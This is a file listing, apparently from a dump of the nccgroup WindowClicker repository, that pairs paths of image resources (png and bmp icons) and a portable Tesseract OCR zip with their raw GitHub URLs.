/WindowLicker/resources/CurrentWindows/ThumbnailView.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/CurrentWindows/ThumbnailView.png -------------------------------------------------------------------------------- /WindowLicker/resources/PortraitHH.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PortraitHH.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/PortraitLandscapeHH.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PortraitLandscapeHH.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/PrintPreviewHS.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PrintPreviewHS.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/PropertiesHH.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/PropertiesHH.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/TableHS.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/TableHS.bmp -------------------------------------------------------------------------------- /WindowLicker/resources/WebRefreshHH.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker/resources/WebRefreshHH.bmp -------------------------------------------------------------------------------- /tesseract-ocr-3.02-win32-portable.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/tesseract-ocr-3.02-win32-portable.zip --------------------------------------------------------------------------------